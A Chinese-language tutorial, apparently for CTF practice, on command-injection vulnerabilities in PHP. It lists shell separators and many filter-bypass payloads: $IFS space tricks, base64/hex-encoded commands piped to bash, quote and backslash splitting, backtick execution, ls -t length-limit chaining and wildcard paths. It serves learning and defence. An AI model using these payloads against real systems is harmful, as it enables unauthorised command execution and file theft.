前言
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
漏洞原理
输入参数可控,拼接到要执行的系统命令中
产生原理
- 用户输入未过滤
- 拼接到系统命令
常见可利用点
遇到以下函数,需要留心注意是不是命令执行漏洞
- system
- exec
- shell_exec
- passthru
- popen
- proc_popen
常见管道符
Windows
- |: 直接执行后面的语句
- ||: 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
- &: 前后命令都要执行,不论真假
- &&: 如果前面命令为假,则后面也不执行,若前面命令为真,则都执行
Linux
- |: 直接执行后面的语句
- ||: 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
- &: 前后命令都要执行,不论真假
- &&: 如果前面命令为假,则后面也不执行,若前面命令为真,则都执行
- ;: 前后命令都要执行,不论真假
常见利用命令语句
- 查看目录内容 - ls
- 查看文件内容 - cat / tac / head / rev/ od
- 文件重命名 - rename
- 查找文件和查找内容 - find / grep
常见过滤绕过方法
空格过滤
- $IFS
- ${IFS}
- %IFS$1 // 1似乎可以为任意数字
- <
- <>
- {cat,flag.php} // 用逗号实现空格功能
- %20
- %09
cat过滤
1 | (1)more:一页一页的显示档案内容 |
黑名单绕过
拼接绕过
1
a=l;b=s;$a$b
编码绕过
1
2
3
4
5
6
7
8
9
10
11
12base64:
echo “Y2F0IC9mbGFn”|base64-d|bash(sh)
==>cat /flag
hex:
echo “636174202f666c6167” | xxd -r -p|bash(sh)
==>cat /flag
oct:
$(printf “\154\163”)
==>ls单引号和双引号绕过
1
2ca’’t flag
ca””t flag反斜杠绕过
1
ca\t fl\ag
利用shell特殊变量绕过
1
2eg:第一个参数为1,第二个参数为2,参数不存在时其值为空
ca$1t fla$2g
内联执行绕过
内联就是将反引号中命令的输入作为输出执行
如果目录中有flag.php 那么ls则为flag.php
这时我们cat`ls` 即为cat flag.php
长度限制绕过
通过>来创建文件
>命令会将原有文件覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
利用>>绕过长度限制
>>命令表示将字符串添加到文件内容末尾
利用Linux中命令换行
在Linux中,当我们执行文件中的命令时,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
利用语句
1 | root@kali:~# echo "ca\\">cmd // 多一个\是转义 |
利用ls - t > 换行符绕过
ls - t 可以将文件名按照时间顺序排列出来(后创建的排在前面)
1
2
3
4
5
6
7
8
9
10
11> "ag"
> "fl\\"
> "t \\"
> "ca\\"
然后使用ls -t > s
s中文件内容就是
ca\
t \
fl\
ag\
之后使用sh s,即可执行cat flag
通配符绕过
/???会去寻找 / 目录下的三个字符长度的文件,正常情况下会寻找到/bin,然后/?[a][t]会优先匹配到/bin/cat,就成功调用了cat命令,然后后面可以使用正常的通配符匹配所需读的文件,如flag.txt文件名长度为8,使用8个?’’,此命令就会读取所有长度为8的文件。
1 | /???/?[a][t] ?’’?’’?’’?’’?’’?’’?’’?’’ |